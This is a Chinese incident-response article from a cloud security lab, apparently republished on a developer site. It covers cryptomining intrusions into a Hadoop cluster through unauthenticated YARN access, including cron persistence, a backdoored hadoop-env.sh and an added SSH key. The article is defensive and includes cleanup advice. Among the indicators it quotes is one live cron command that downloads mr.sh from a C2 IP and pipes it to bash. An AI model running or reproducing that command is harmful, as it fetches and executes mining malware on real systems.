金山云安珀实验室:处理一起黑客利用Hadoop集群挖矿事件

栏目: 服务器 · 发布时间: 5年前

内容简介:近日,晚间10点左右,金山云值班人员接用户紧急反馈:在业务开发过程中,Hadoop集群某一结点输入在获知该信息后,金山云安珀实验室迅速进行响应,第一时间与用户进行沟通和分析排查,最后确定是黑客通过Hadoop的REST API服务Yarn的未授权访问造成远程命令执行入侵,经过追踪分析处理,最后成功解除攻击威胁。以下我们将详细过程分享出来,与业界共勉,共同提升安全防御水平。

近日,晚间10点左右,金山云值班人员接用户紧急反馈:在业务开发过程中,Hadoop集群某一结点输入 hdfs dfs –ls / 会显示未知的公钥信息,怀疑自身服务被恶意入侵。

在获知该信息后,金山云安珀实验室迅速进行响应,第一时间与用户进行沟通和分析排查,最后确定是黑客通过Hadoop的REST API服务Yarn的未授权访问造成远程命令执行入侵,经过追踪分析处理,最后成功解除攻击威胁。

以下我们将详细过程分享出来,与业界共勉,共同提升安全防御水平。

追踪黑客来源:凡走过必定留下蛛丝马迹

在接到异常信息后,安珀实验室研究员立刻启动分析预警流程:先确认是否被入侵、入侵的方式及可能造成的损失。通过使用命令“hdfs”进行试探,发现存在异常信息,进一步分析,在/var/spool/cron目录下,发现了若干计划任务文件,证明该服务器确实被入侵。

金山云安珀实验室:处理一起黑客利用Hadoop集群挖矿事件

通过分析,我们成功追踪到黑客的C&C服务器地址(http://149. . *.164:8220),连接到黑客的C2服务器上下载mr.sh并进一步分析,发现脚本存在如下几个特征:

1、脚本会删除其他的挖矿进程;

2、删除CPU占用率大于40的进程。

在上述操作执行完毕后,会下载真正的挖矿程序top,以及配置文件wc.conf,配置文件中包含挖矿的密码等信息。接着,会自动添加计划任务,将黑客的公钥添加到~/.ssh/authorized_keys文件中,实现黑客免密码登陆的目的。

脚本还会将受害服务器的IP、用户名、主机名等信息发送到黑客的服务器上,结合其将公钥写入到了~/.ssh/authorized_keys文件中,我们初步推测黑客可能通过脚本进行批量ssh登陆,从而实现批量管理肉鸡的目的。

接下来,我们按照该入侵路线排查用户的服务器,不过并没有发现同样的问题,猜测后门可能是在其他位置,经过详细排查,最后在/etc/hadoop/3.0.0.0-1634/0/hadoop-env.sh文件中,发现有被写入后门的痕迹。

金山云安珀实验室:处理一起黑客利用Hadoop集群挖矿事件

抽丝剥茧求真相:再狡猾的狐狸也会露出尾巴

在上述文件中,我们发现有三行同样格式的后门,可以推测,服务器被黑客利用自动化脚本攻击了三次,同时,我们还发现了新的攻击脚本install.sh。将其下载后进行分析,发现该脚本会判断是否写过计划任务,如果写过的话会输入Cron exists,这恰好是之前用户反馈的问题。

通过后续的分析得知,当执行hdfs等hadoop所属的命令后,会先执行/usr/bin/hdfs,而这个可执行程序是个链接,链接到/usr/hdp/current/hadoop-hdfs-client/bin/hdfs文件。我们通过查看该文件,最终发现会执行红框内的代码,我们继续追踪如下:

金山云安珀实验室:处理一起黑客利用Hadoop集群挖矿事件

1、查看该文件的内容,发现会执行libexec目录下的hdfs-config.sh脚本。

2、跟踪过去,在文件尾部会调用hadoop-function.sh文件。

3、继续跟踪,发现会执行conf目录下的hadoop-env.sh。该文件是黑客留有后门的文件,也就是说,用户在执行该命令的时候,就会调用黑客留下的后门,其他有关hadoop的命令也是如此。

根据和使用该服务器的用户交流来判断,之前该服务器启动过yarn服务,并且使用默认配置,没有进行任何的认证,开放在公网的8088端口,结合该Hadoop集群来看,黑客应该是通过Hadoop Yarn未授权访问漏洞入侵的。

并且,通过查看/etc/hosts文件,发现该集群还有其他几个节点,分别是node1(已经废弃使用很久),node2(本文分析的服务器,且还开放在公网上),node3(未连接公网),node4(未连接公网),其他节点都可以通过ssh + 主机名的方式直接登陆,并且也都发现已经被入侵了,但是通过计划任务被写入的时间点来看,其他机器并不是通过跳板入侵的,而是通过自动化脚本攻击的。

分析top挖矿程序,我们看到该程序是一个用于挖矿的软件,真实名字叫做xmrig。

将其md5值放入VirusTotal查询,发现有13家报毒,是一款挖矿软件。

金山云安珀实验室:处理一起黑客利用Hadoop集群挖矿事件

分析至此,整件事件已经梳理清楚,黑客通过yarn服务入侵到服务器,并且写入了后门,执行install.sh, mr.sh程序,进行挖矿,期间通过漏洞写入了三次后门,C&C服务器IP为新加坡,但是由于install.sh存在报错机制,导致被发现。

此次事件金山云安珀实验室应对之道

1.建议客户登陆各个节点,将/etc/hadoop/3.0.0.0-1634/0/hadoop-env.sh文件结尾的后门进行删除;

2.登陆各个节点,到/var/spool/cron目录下,查看每个文件,如果内容是0 * * * * http://149.28.137.164:8220/mr.sh | bash -sh > /dev/null 2>&1,删除该文件;

3.增加hadoop kerberos认证;

4.将私用的服务放置在内网环境中使用,开放在公网的服务一定要加入认证环节。

以上是金山云在近期追踪并成功解决的一起比较典型的安全事件,在网络上,每天都有无数的黑客程序在自动巡游,一旦发现安全薄弱的设备,很快就能通过各种手段进行入侵,这就要求我们树立起牢固的安全防范意识,防患于未然。


以上所述就是小编给大家介绍的《金山云安珀实验室:处理一起黑客利用Hadoop集群挖矿事件》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

程序员的自我修养

程序员的自我修养

俞甲子、石凡、潘爱民 / 电子工业出版社 / 2009-4 / 65.00

这本书主要介绍系统软件的运行机制和原理,涉及在Windows和Linux两个系统平台上,一个应用程序在编译、链接和运行时刻所发生的各种事项,包括:代码指令是如何保存的,库文件如何与应用程序代码静态链接,应用程序如何被装载到内存中并开始运行,动态链接如何实现,C/C++运行库的工作原理,以及操作系统提供的系统服务是如何被调用的。每个技术专题都配备了大量图、表和代码实例,力求将复杂的机制以简洁的形式表......一起来看看 《程序员的自我修养》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

在线进制转换器
在线进制转换器

各进制数互转换器

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具